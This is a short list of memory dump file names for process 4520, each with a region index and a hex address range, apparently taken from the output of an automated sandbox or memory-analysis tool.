memory/4520-232-0x0000000007DF0000-0x0000000007DFE000-memory.dmp
memory/4520-233-0x0000000007E00000-0x0000000007E14000-memory.dmp
memory/4520-234-0x00000000084E0000-0x00000000084FA000-memory.dmp
memory/4520-235-0x0000000007E30000-0x0000000007E38000-memory.dmp
memory/4520-194-0x0000000005F30000-0x0000000005F96000-memory.dmp
memory/4520-191-0x00000000056D0000-0x00000000056F2000-memory.dmp
memory/4520-190-0x0000000005790000-0x0000000005DB8000-memory.dmp
memory/4520-189-0x0000000005120000-0x0000000005156000-memory.dmp